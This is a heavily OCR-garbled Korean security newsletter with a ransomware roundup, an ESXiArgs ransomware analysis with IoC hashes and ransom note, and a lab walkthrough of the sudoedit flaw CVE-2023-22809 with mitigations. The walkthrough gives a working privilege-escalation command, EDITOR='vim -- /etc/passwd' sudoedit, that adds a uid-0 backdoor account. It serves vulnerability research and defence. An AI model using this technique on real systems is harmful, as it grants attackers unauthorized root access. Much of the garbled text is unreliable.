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Keep up with Ransomware
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infosec

_’ New ransomware variant

STOP : wvoo, .wwmm, .hhoo, .hhee, Blacklist : .KTBR
.hhmm, .ioqa, .iowd, .iotr, Phobos : SHTORM
o BlackCat(Alphv) ’ -qoqa, .qowd, .gotr LokiLocker : .DATA
Chaos : Adrianov, Baal, BRUH, Terkey, Babuk : .alice

Garsomware, GonaCry, .clown, Dharma : jron

Xorist : MortalKombat, .tuslamon, .saw Royal : target linux

VoidCrypt : .pay, tMNo, .sunjin, .lilmoon Paradise : .honkai

. Thanos : .auto, tils, zteqqd
Bianlian
New ransomware & group
DarkBit, Medusa, ESXiArgs, Nevada, DoDo, Kangaroo, 726,
Exfiltrator-22
"‘I.L(‘

-
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O OINDY»

(1) sz/72s e O
O OILIDD

r

SEEXE

Stop, Chaos g4 le] o] ®Fo] thy SdstL % ™ DarkBit, Medusa, ESXiArgs, Nevada, DoDo,
Kangaroo, 726, Exfiltrator—22 ﬂ/é-?]cﬂﬂ- 2 2ART ot DarkBit, Medusa Ao+
nage £ golHE $E5td of% ke /\]- sl a8o® #ldr. E3] Medusa
HAAol= At IFdele &tk ‘ﬂri% ol & 19 A sAE AXSHE F o
Hai2 9s]1 9ok EFF @A ESXi AlH= ﬂ]’g 2 ESXiArgs, Nevada @4 go]e] o=
4 Al 2 Roya ‘j’H’é-‘?ﬂOﬂQ al‘/‘ HEol H}ﬁﬂl—‘:— s A AARCR dr ms) At

f”lo r_>¢ ='=
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ESXiArgs @49l
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18 & Jo @ U omx

mSﬂnZirSL_ELLl'i

1 = CERT-FR(French Computer Emergency Response Team)©|| ¢Js] ESXi AHE tjifoz 3t
ol FAo] wA=dtt. i FAL2 ESXi © CVE-2021-21974 FFS& o] &adto]
Rom 2021 @ 2 4 VMVMware + i FHdS 4% AL wjEstlet. shx|qt
25 ALotA] g2 FoFet ESXi AH7t thy EAste] iR A Atz EAsHL
, Shodan, Censys 9} Z-2 9Z AM AMu|AZ o|gale] £47 AMo] 7153 LAAEL
AEE S FA &8sttt dA7MA] Eed Ade AwEW CVE-2021-21974
Qlefll= CVE-2022-31699 ", CVE-2020-3992" 5 thdt FoFde AHEE 7S

He

ESXiArgs #i4d9lol= Sosemanuk o3t Y ejES AREO] Y& JEdcted oiE dreE2
g 5AE Ao ® AZE CheersCrypt, PridelLocker, Yanluowang #dgojofA] WHAE o] o]
Aem™, Babuk Al ZE K& ol APHE dF Aol AREst ¢lol Babuk
Aol E 7Ivte s A%t Ao A=

Ol

=

it}

S

30,

= N O
=,
N

ESXiArgs

-
B3 How to Restore Your File X | =

(@] "How to Restore Your Files.html
How to Restore Your Files

Security Alertlll

We hacked your company success

- Attentionl|!
Send money within 3 days, otherwise we wil expose some data and raise the price

DON't try 10 decrypt important files, it may damage your files

Don't trust who can decrypt, they are liars, no one can decrypt without key file

S$5H is turned on

Firewall is disabled

How to Restore Your Files.html

CVE-2021-21974, CVE-2022-31699, CVE-2020-3992 &

()L@ Ak A AR ESXi Server

7.x prior to ESXi70U1¢-17325551
6.7.x prior to ESXi670-202102401-SG
6.5.x prior to ESXi650-202102101-SG

' VMware ESXi OpenSLP o] 4] &A= 3] @ WZ2.9 FoFy

12 VMware ESXi OpenSLP o[l4] Use-after—free 2 Q13 TAist= YAIE A FoFH

:L
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ESXiArgs

of=3f

=3t 7|

o= g

golo/E

encrypt.sh (ELF encryrptor loader) —-

enc_step -
enc_size -

file_size - file size in bytes

—call--—--> encrypt (ELF encryptor)

: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]");
number of MB to skip while encryption”);
number of MB in encryption block™);

(for sparse files)\n");

Sosemanuk 2E 3 LS FE AFE5H0 0l A3 T RsA S EF|E ETsto] Y EOf £t

" N
12 Yzt Fa)
File

Encrypted File

+
H
ne
n
4
N

32bit
il stream ¥4

Sosemanuk

RSA %zst

J RSA

Public Key

.

Encrypted Key

Cmat ] mx Lot Lomed Jsmen Lvown

m -vimem | .nvram

el 37|of upa FE3HE HelstHs BE20| Z71510 CISAM A 0| S 0| 23 47X Y S 2ok XA
Z1

ARt E 0| ol

= = =

MB2t skip SLES HH 0| E

ize_kb=$(du -k $file_e | awk '{print $1}')
if $size kb -eq © then

size kb
fi

size_step=1

Sosemanuk

¥nE

US| EHS
(RSA)

23, 370 ASE T,
e, AA|Fe, W=
=X A

vmtools.py
ool A32E
W of

ESXi F2FH
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ESXiArgs $Ad o] A=k

infosec
Initial Access VMware ESXi A{H
FHerH o8
CVE-2021-21974,
Execution = CVE-2022-31699,
= CVE-2020-3992...
Shell script 4% = . /
S
Defense Evasion
ol === ojatojE| AL
. A REEEB ] X Al
Discovery HEEEEE 21 % 33 2 oA
H HEHEBEB KE7F AR
ClA3 AIH allo
ass o sag Ast 20 - HE . o
ommand and Control
\i o “.,"EO" Aoll.ko-l
Impact
=
El"lzl giil’ wllelle E
O] mel AH| 1 1
Clolg HA

Ba ESXi AM % Flofet AulE digos 3AS Awsd,
g %

2 AHo tio] ¥4 FE A &2
_% =)

s
fol
ok
kD
&
ML
fo
QL
rir
o)
i)
filo
>
ofo
ol
38,
£

o, ok

e

X0 ox JH
rr o o

w
=
[

Q.
=

AN
)
lo
HU 3
Hr
ok,
_0|£
=
x0
o
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ESXiArgs A eof7h HAE AMEoA Python o2 A4 Hmo] Eot WAL i HIcof
5" PgolE s Reverse shell 2 A5kl 2|4t 3 2EQ9 TEZ AAJH,
AE= Zo] oty e 4ot Aol Eud 211w, wWiQ] . FA| AMgR £F 53
A AAst] FAE 2lHstr] A% A2 ARgRt

wpA|ero 2 ESXiArgs AUl THY AolEE &

ID & Agstel P hfsty otk AR FAL = oot e AobAe
olgsl WA HA ore AME T 4e WD WES A8sw otk £ §2F Babuk
BAAZ Ao A4 DESolR FAHE AT olF W AL AgHA o A 52
Defs] #e u, 854 04E kel we 49 AWME B2 5 394 ode s A
AEfst 7oz Heltt

oS olgstel A4S Amslt wWE VMware ESXi AHE AHgsta girkd 2141
AT, SLP Mu|2E AgelA FEF Hgsjol Feh ofed 9Ro] wEHA
O ESXi AHol digt 2217 B astk
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H loC

| Indicator Of Compromise

®

ESXiArgs : SHA256

5A9448964178A7AD3EBAC509C06762E418280C864C1D3C2C4230422DF2C66722
EOA34A4BF92FBA4E075CC6488B8ES40B87CD163118BDEF789149C60F7D5370F5
10C3B6B0O3A9BF105D264A8E7F30DCABOAGCS59A414529B0OAFOA6BDIOF1D2984459
11B1B2375D9D840912CFD1FOD0OD04DS3EDOCDDBOAE4DDB550A5B62CD044D6B66
773D147A031D8BEFO6EEBEC20B614A4FD9733668EFEB2BOSAAO3E36BAAF082878
AE4B7284A9538C66432F02097C3DE14E2253D16B6602C4694753468BC14D7D28
C13A5BFB4BDDFB1B7CE2FASE6AE4745566490B50B58E3FF1E57C1D1C2F696760
EE1F73140605BC1475792E4B26102CAA2B2EF838590F9F73A1E4A39FEDAT2634
DA208729C4560E5A166A5D50690C47D38998CA9IDACB797E79774A134806FBFIC
E1D2D6CBA7DCCOD87884E9CFDF1A5141DD7649CB8958133FB9BD0659B377EDGE

File Name

encrypt : ELF file encryptor

encrypt.sh : ELF file encryptor loader
vmware.py, vmtools.py : python script backdcor
public.pem : RSA public key

motd, index.html| : ransomnote

EQST insight | 20



m zt1 AJO|E

URL: https://www.cisa.gov/uscert/ncas/alerts/aa23-039a

URL: https://www.vmware.com/security/advisories/ VMSA-2021-0002.html
URL: https://www.vmware.com/security/advisories/ VMSA-2022-0030.html
URL: https://www.vmware.com/security/advisories/ VMSA-2020-0023.html

URL: https://www.bleepingcomputer.com/news/security/massive—esxiargs—ransomware—attack—targets—

vmware—esxi—servers—worldwide/

URL: https://www.bleepingcomputer.com/news/security/new—esxiargs—ransomware—version—prevents—

vmware—esxi—recovery/

URL: https://www.sentinelone.com/labs/cl0p—ransomware—targets—linux—systems—with—flawed—

encryption—decryptor—available/

URL: https://www.bleepingcomputer.com/news/security/clop—ransomware—claims—it—breached—130-orgs—

using—goanywhere-zero—day/

URL: https://www.bleepingcomputer.com/news/security/new—mortalkombat—ransomware—targets—

systems—in—the—us/
URL: https://therecord.media/tonga—is—the—latest—pacific—island—nation—hit-with—ransomware/

URL: https://www.bleepingcomputer.com/news/security/north—korean-ransomware—attacks—on—

healthcare—fund—-govt—operations/

URL: https://www.bleepingcomputer.com/news/security/us—and—uk—sanction—trickbot—and—conti-

ransomware—operation—members/

URL: https://www.bleepingcomputer.com/news/security/linux—version—of-royal-ransomware—targets—

vmware—esxi—servers/

URL: https://www.bleepingcomputer.com/news/security/new—nevada—-ransomware—targets—windows—and—

vmware—esxi—systems/

URL: https://www.bleepingcomputer.com/news/security/new—exfiltrator—22—post—exploitation—kit—

linked—to—lockbit-ransomware/

URL: https://www.bleepingcomputer.com/news/security/new—mortalkombat—ransomware—decryptor—

recovers—your—files—for—free/
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Research & Technique

sudoedit 2 2483t Q0|o] MU MT| FOFH(CVE-2023-22809)

Y, 54 A8 PO WPIE AAF 4 ok ZRIW sudo oM el

CVE-2023-22809 = sudo AE ©WHol T oY W€ 4L EIolE sudoedit HH oA
o] o7 £

At A}%Z% sudoedit g ol-gsto] Teap Hto=m Ysk= WHV|IE Dol HHA}L
583t A HE= #EE 4 Ak o, AREA g W] JIAE AE|she WA HSol
o gstod -1 011} Feo BE #AE ¥4 dY wd= FHE 6}71 izl FefFde] @Attt o
Hords &8st WiRe ool ARgA= WAo] 58E iRt ofyzt 9Jelo mds
wAE A28 A4 oS AL, RE Pito g AbLol 7%0}3},

NACY DRMY 59| £34d& 29dste AHlA sig Hefdol dAdd 239 44 o ¥Ae
B8] 4 &2 LS50l FHEshE £ gloen®g HoF guiEol ZhEet o7} "Wasitt

m % g ATEQO| B

CVE-2023-22809 o FoFst AZE o= o} Lt}
S/W & #oF BH
sudo 1.8.0~1.9.12p
% 1.80 O|F9| sudo HFS QIXt H2| WA0| T3} Hske HX| or=Ch

15 sudo(su “do”)= Al2® A7 S 9dste] 54 AHEATE Thg AREAe] Bdter WS AT 4 Qe EEJE&‘O]‘:}
2E AA9 fAYEE F83 ] orotr Hurh= Kotz ol AAI Ze]19l sudoers 2 £ AW $Ao] Lo|sirt= W)k
0|87t EAfst= AHlolA] &-g-gtrt
16 NAC(Network Access Contro UIEZHTEAE 7199 vEYA] F&shs vget 71719 o ARE
A1 E-E A5 UIEQA Het Auj2olr,
17 DRM(Digital Rights Management, H28 A28 #2])2 7199 vA9d AH 4te] {5 HAE Adf 854 g2 AL 4
B BAE Agtste Anjzolt
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B 24 AlLZg|l2

ol

CVE-2023-22809 & o]g3t 24 Alue] et gt 2}

¢

infosec

\

N CVE-2023-22809

o FIorS M B 2 A
&

T 0| 4, PC HIOJH

3okt Ay

U

TOP
SECRET

) =9 ¥R gE —\/
a9 1. 34 AyvEle

@ BARE Hope MH = U sudoersOl SEE TS LT
@ 3ZAXHE CVE-2023-22809 # U™ 2 0|84l |8E MY 0]elo] Ao mYU(/etc/passwd)S =Ml W0
MBict

® 34X HENE S PC MOlHE ot

@ SAXt= ALBXe B8 FEE X&SM =5 = ULt

HAE 878 F&3te] CVE-2023-22809 o] 52 7H4-& Awf i)
e | e
Ubuntu 20.04.5 LTS
Sudo version 1.8.31
| S X} Sudoers policy plugin version 1.8.31

Sudoers file grammar version 46

Sudoers 1/O plugin version 1.8.31
% Sudo 1.8.31 H{E-EZ Ubuntu 20.04.5 LTS O] 7|22 2 WHEE[O U= HEOICL
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B A HlA

Step 1. AH B K
Eﬂ_/;EE ogﬁ /&;Gﬁ} qEﬂE}a =1} quo :{g@}

=~
Hzto] ¢l7] wiZel Insight - :
s SEEEE

TR 2t} egstlab T1E] &9 AREAR= root

rootDir 217|8t 7t5% root 279
Insight root AFEXIEE 7/ 7|/H@0| Zhs3 oY

E 1. rootDir T E 2] ¢} Insight T AT

Is —al & 53 09 ) Aok okt 2

root@ubuntu: fhomefubuntu# 1s -al /var/tmp | grep rootDir
2 root root 4096 Feb 27 21:14

root@ubuntu: fhome /ubuntu# 1s -al fvar/tmp/rootDir/ | grep Insight
1 root root 24 Feb 27 01:42

a9 2. g EQl

eqstlab 150l &3t eqgstlab_user ] AR = oh-37 Zr}

5 id
uid=1001(eqstlab_user) gid=1001(eqstlab) groups=1001(eqstlab)

eqstlab 150 £¢
eqstlab_user &

9 3. egstlab_user FH

A BJ A= egstlab T1EQ] A9 egstlab_user 7} sudoedit HHES E3l Insight oY +74
7heote s ARty A4 grol = /ete/sudoers o] Y G- O}ﬂiﬂ- Z¥ct

L ALL} ALL

ALL= :HLL ALL) sudoedit jvar}tmp}rootﬂtr}lnq1ght
IT T|.- :||Ir'| n group may gain root privilege

1% 4. /etc/sudoers A o+
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Step 2. PoC HIAE

% FA Al sudoedit 9] FFH-E E-8olE=Z sudoedit &2 A 7H5SE Insight mFdo] T Qo
ol olgst H BEVled IS 4T 5

Step 1) eqstlab_user AF8AF+= sudoedit FHS& ol A¥ H2|27t 5183 Insight oY HZ o]
7Hsete el

‘ $ sudoedit /var/tmp/rootDir/Insight ‘

sudo -e: sudo ZZ2IHOA HEZ S FMOZ edit 2 2|0|5HH sudoedit It S LT 7|&

mjo
rot
o

S whoami

eqstlab_user
S sudoedit /var/tmp/rootDir/Insight
[sudo] password for eqstlab_user: J}

OF

Ba|X}7} 47 7hs

[

t=S s{Se ot

" ubuntu@ubuntu: ~

GNU nano W.8 var/tmp/Insight.XXjw8vef Modified| |
EQSTLab_management_file

Q¢ Cet Help Q¥ Write Out @8 Where Is @Y Cut Text [ Justify ale Cur Pos
@4 Exit @il Read File @\ Replace WY Paste Textigl To Spell @M Go To Line

Step 2) sudoedit & 285 +74 HAGO] Fl= Jetc/passwd TY 4 A=

S whoami
eqstlab user
S sudoedit /etc/passwd

Sorry, user eqstlab user is not allowed to execute 'sudoedit fetc/passwd' as
root on ubuntu.

S

e

(.
o
(@)
i
ek
"
I
o
HU
r°l'

t /etc/passwd ot £ Alwj
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7Hs 8t /etc/passwd
/\

Step 3) "' 4TS el 49 WY 540l AT HFEL 0%
1 A 2 uid=0(root HAH2 7}% EQSTLabBackdoor ¥k o] A=A
$ EDITOR="HZ7| -- [del T] sudoedit [5 & TtE]

$ EDITOR="vim -- /etc/passwd' sudoedit /var/tmp/rootDir/Insight

HET| HH = /fetc/passwd ILH0| EQSTLabBackdoor:0:0:/root./bin/sh & &
[AE OIS A9 EN(uid][guid):[& CIFEH2[E F4]

sto] 54
el
=

0_>C, s

20| o 773 5{ 2 Fl Insight L}t
o EDITOR="vim -- Jetc/passwd' sudoedit /var/tmp/rootDir/Insight
3 files to edit
sudoedit: -- unchanged

sudoedit: /var/tmp/rootDir/Insight unchanged
s i /etc/passwd I} =79

gdm:x:125:130:Gnome Display Manager:
sssd:x:126:131:SSSD system user,,,:/var/lib/sss: /usr/sbln/nologln

ubuntu:x:1000:1000:ubuntu,,,: /home/ubuntu: /bin/bash
systemd-coredump:x:999:999:systemd Core Dumper /:/usr/sbin/nologin

eqstlab user:x:7 '01:1001::/home/eqs
O BRI RS RIS H e EQSTLabBackdoor AI7d =7}
"Jvar/tmp/passwd.XXK1105W" 49L, 2890C written

E173: 2 more files to edit
Press ENTER or type command to continuej

a9 7. Jetc/passwd TL-E £ 53 root PIHS EQSTLabBackdoor A% 37}

S whoami

eqstlab_user

S tail -3 /etc/passwd

systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

eqstlab user:x:1001:1001:: /home/egstlab: /bin/sh
EQSTLabBackdoor::@:0: /root:/bin/sh
S su EQSTLabBackdoor

# whoami e Ad =90 9 Aot
root

a9 8. AR A &l
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B |k ARN| BA

1o O |

A

Step 1) FFd e
A28 BEA= sudo T2 st Hot Ao 7 sudoers S22 83}, sudoers =
/etc/sudoers TFAONA] 5-&H ARRATE HRo]E o] &StEE A 4 Sl

/etc/sudoers YL 5712 HEZ FAE o] glom ZF Jrof Ay ofiel At

1 ox(1E) Hyol dd Hst2 & AFo|Lt 2& B HF

= I H)o

zc -REROA E ER ALLS ALE

24 N HHZS M o MB{LEIP

_ IAE - -

zc -REROA E B2 ALLE AR

e 20| AlSH A| HA|E AH|KO| Hsloz Al

udoers 3H s AEo| e o] M Al A= AFH Al
EE 29 HE - 82k Al root Mot E HH

4 s M4 o NOPASSWD &M M3 Al FHO Aidlg M AY &€=

gac [42F 7hs] Hek 7t

5 a4240f HHZ 58 HYO & Z=

— [« =] - -

gac - DE HYOE 58 42 ALL A8

H 2. sudoers WE A9

22 sudoers o ISE AA oAjoltt, ofgfje] HAA e nE

AE
nE 2490] 0ol A§ake] BHOE sudoedic o4kl Insight 7L 5%

fol

A eqstlab 1F9]
o UEF S

FHAE)E =AE 23 Hok A HHol U E=
%eqstlab ALL=(ALL:ALL) sudoedit /var/tmp/rootDir/Insight

1 9. /etc/sudoers T of A

sudoedit & A&7} SUDO EDITOR, VISUAL, EDITOR o] @74 HS&E olgs)] AFSA7}
k= WA 7](ex. nano, vim §)& AEE 4 Qe 7]5E ATt offE AMEA &4 WS S
EDITOR & 3% vim BH7]|2 Y $A5H= o] ofAth

S EDITOR=vim sudoedit /fvar/tmp/rootDir/Insight

[sudo] password for eqstlab_user:
sudoedit: /var/tmp/rootDir/Insight unchanged

a9 10. H|FH7] AHE & e AR A
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rE,
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i
o,
I
P
i
o,
oo
_%
£
&
Q.
(@]
(@]
o
g,
i
>
e}
>,
L
Lo
)
rlo
rzi
e
=
Mo
iz}
me,
o,
il

o A AHE B9 sudoedit Y Al ofgfjet e S EOE YH o

il
o
rok
ko

infosec

EDITOR=vim sudoedit /var/tmp/rootDir/Insight

—

editor sudo_edit

¥
sudoers_policy_main()

find_editor()

! b
R d

sudoers_lookup() _h I sudo_edit
| i -

resolve_editor()

\/ --5lo| BxtEE
find_editor Y w2 x| g F7} Y f¥oE oy
vim HAE7| MY = FHO
HE| 8 sief olxt M

a9 11§74 945 5% sudoedit FHo] 59 A 5BE

Sudoedit AAS sk E2172%) sudoers oA FHol AH sudouers policy main &g
=% 5, A 23] 2 /84 HAE 9161 sudoers lookup ¥E TEST ol AR}
Geloz B4 MAE Eo| 54 BANE AARIE S84 A4 oF B BEE A0
find editor §E SE3HH
2 int
4 |5ud0er"5_policy_main[int argc, char * const argv[], int pwflag, char *env_add[],
5 bool verbose, void *closure)
6 A
7 /.. OEM 74,1,.|.
8 valldated = |sudoers_lockup|snl, sudo_user.pw, FLAG_NO_USER | FLAG_NO_HOST,
9 pwflag);
10 1/
11
12 [if (ISSET(sudo_mode, MODE_EDIT))| {
1| ecteate comdy; o AFETITH B WAE 9YE A9
15 safe_cmnd =|find_editor{NewArgc - 1, NewhArgv + 1, &edit_argc,
16 &edit_argv, NULL, &env_editor, false);

19 12. find_editor $&35}= I E

EQST insight | 28



find editor $e= AFEAFS] QoA &4 #H< SUDO EDITOR, VISUAL, EDITOR 7} 235
A5, FHAE aldst7] Y5l resolve_editor g5 APt

LO[Find editord(int nfiles, char **files, int *argc_out, char ***argv_out,
3 ar * const *whitelist, const char **env_editor, bool env_error)
4

5 I

G Fenv ediMpr = NULL;

7 ev[®] = "SUDO_EDITOR";

8 @) evlil] = "VISUAL"; = A

g ev[2] = "EDITOR"™;

L& for (1 = @; 1 < nitems(ev); i++)

11 char *editor = getenv(ev[i]);

|2

] if (editor != NULL && *editor l= "‘@') {

L4 *env_editor = editor; ®go M2 st &

LS editor_path@)[resolve_editorf(editor, Strlen[editorj,

L6 nfiles, files, argc out, argv _out, whitelist);

79 13, BA7] Ay 9 galo] A 2t FE

resolve editor ?H= AREAE GERE Q12 -3— ggolet mde sy s ool A
T2 7|8 "--'E Fetth ol HF AYPS ) sudo_edit TS At

al

Iresolve editorfconst char *ed, size t edlen, int ntiles, char **files,
int Xargc_out, char ***argv_out, char * const *whitelist)

=

[/ ..

nargv[@] = editor;

for (nargc = 1; (cp = sudo_strsplit(NULL, edend, " “\t", &ep)) != MNULL; nargc++) {
nargv[nargc] = strndup(cp, (size_t)(ep - cp));

o

¥

if (nfiles 1= @) {

nargv[nargc++] = "--";

while (nfiles--)
nargv[nargc++] = *files++; | mcraie OIZ} = MY ey -- =7}

¥

nargv[nargc] = MNULL;

Ol

a9 14, QA F npdof "-—"§ F7I5l= resolve_editor 49 Z &=
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sudo_edit T4 AFAoR "B EoR, 0E&d Qi RE R4S AT Y olgow
5ste] Wele s

3 int

4  sudo_edit(struct command_details *command_details)

5 {

5] /* Find our temporary directory, one of /var/tmp, fusr/tmp, or /tmp
7 /< AFEXLY BEIIE -t SHE Sof BT DAL 2alEs/

2 for (ap = command_details->argv; *ap != NULL; ap++) {

9 if (files)

18 nfiles++;

11 else if (strcmp(*ap, "--") == 8) | - E7EFELR 2EEY gl
12 files = ap + 1; cAEE HEY U E AEH
13 else

14 editor_argc++;

15 T

a9 15 B v A9 I

CVE-2023-22809 ZjoFdL Ataxirt ZEEC|A W7 AHS o3t 847 wio] T8 7|59 '
"% Z7}5) “EDITOR="vim —- /27 el 2:& Feje §He 4I5he sudoedit 4 5]
A2 242 ARRA orelot 2ol SAeA Hek

| vim - /37 T - /518 BE of4 |

o] &84 "EDITOR="vim —— /etc/passwd’ sudoedit /tmp/var/rootDir/Insight” H&-S H3JolH
/etc/passwd @} /tmp/var/rootDir/Insight 7} =48 otz Q1A w0} 44 Hjto] gli=/etc/passwd
Hde FAY 4 U
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m oS o

O -

CVE-2023-22809 ZHoFd-S thostiat AHeAb ®AI =
grolsh= AAF 248 F7)8ho] sudo 1.9.12p2 H Ao Hotujx]S 28519t

o
. e
m&"
T >
: =
o
by
Lo
o
ok
2
o
|

if (strcmp(nargv[nargc], "--") == @)|{
("1gnoring editor: %.*s"}, (int)edlen, ed);
" U _("editor arguments may not contain \"--\""));

sudo_warn

sudo_warnx("%

errno = EINVAL; WL AN -- BAEO]
goto bad; EHEIQAEX HAHE 25 £t

—

a9 16. AHgAANA A2 A4 -7t ZFE QA AASHE ZE

qhop Brlmsl QJEOIES @ 4 gl A9 WA H& A7 fewc/sudoers o] ob L
75} ALgAte] W) A4

‘ Defaults!sudoedit env_delete+="SUD

m A
N
olr
o
L)
ftlo
-l>
%0
)

_EDITOR VISUAL EDITOR" |

o

it
Defaults env_reset
Defaults mail_badpass

':‘delt‘H secure _path=

-cfdu lts! Sud:)'dd it env_delete+="5UD0_EDITOR VISUAL EDITOR®

1% 17. /etc/sudoers oA 7] XA

o,
rE
i
ol
N,
o
)

T3 /Jetc/sudoers THAoA HA 7|5 Cmnd_Alias & B4 AFEAFS] HA7] A" ALE-S
Akt 4= QL

Cmnd_Alias EDIT_MOQOTD = sudoedit /var/tmp/rootDir/Insight
Defaults!EDIT_MOTD env_delete+="SUDO_EDITOR VISUAL EDITOR"
user ALL = EDIT_MOQOTD

Defaults env_reset
Defaults mail_badpass
Defaults secure_path=

#Defaults!si i env_delete+="SUDO_EDITOR VISUAL EDITOR"

Cmnd_Alias _M sudoedit ar ftmg EDir /I
Defaults!EDIT_MOTD env_delete+="SUDO_EDITOR VISUAL EDITOR"
ALL = EDIT_MOTD
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WA A3 B WAE AN F, FAPdS A=siEd EDITOR 87 W47t S35k ghot
518 WA B Insight THAF A7) 713 BRAR $740] 7hsd A€ BAT 4 etk

S EDITOR='wim -- fetc/passwd' sudoedit /var/tmp/frootDir/Insight

Unable to create directory /home/feqstlab/.local/fshare/nano/: No such file or dir
ector

It i: requrpd for saving/loading search history or cursor positions.

fetc/passwd MY Q1A 271 6

[+1 ubuntu@ubuntu: ~

GNU nan¥® 4.8 var /tmp/Insight.XXeP7z(Qx Modified | |
EQ5TLab_management_file

Get Help Write Out @Y Where Is [@d Cut Text @ Justify e Cur Pos
Exit i Read File @) Replace (gl Paste Textig] To Spell gl Go To Line

a9 19. 937 A &7 ¥4 A9 A8 F o "HAE
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« URL : https://www.synacktiv.com/sites/default/files/2023-01/sudo—~CVE-2023-22809.pdf
« URL ! https://www.sudo.ws/security/advisorie
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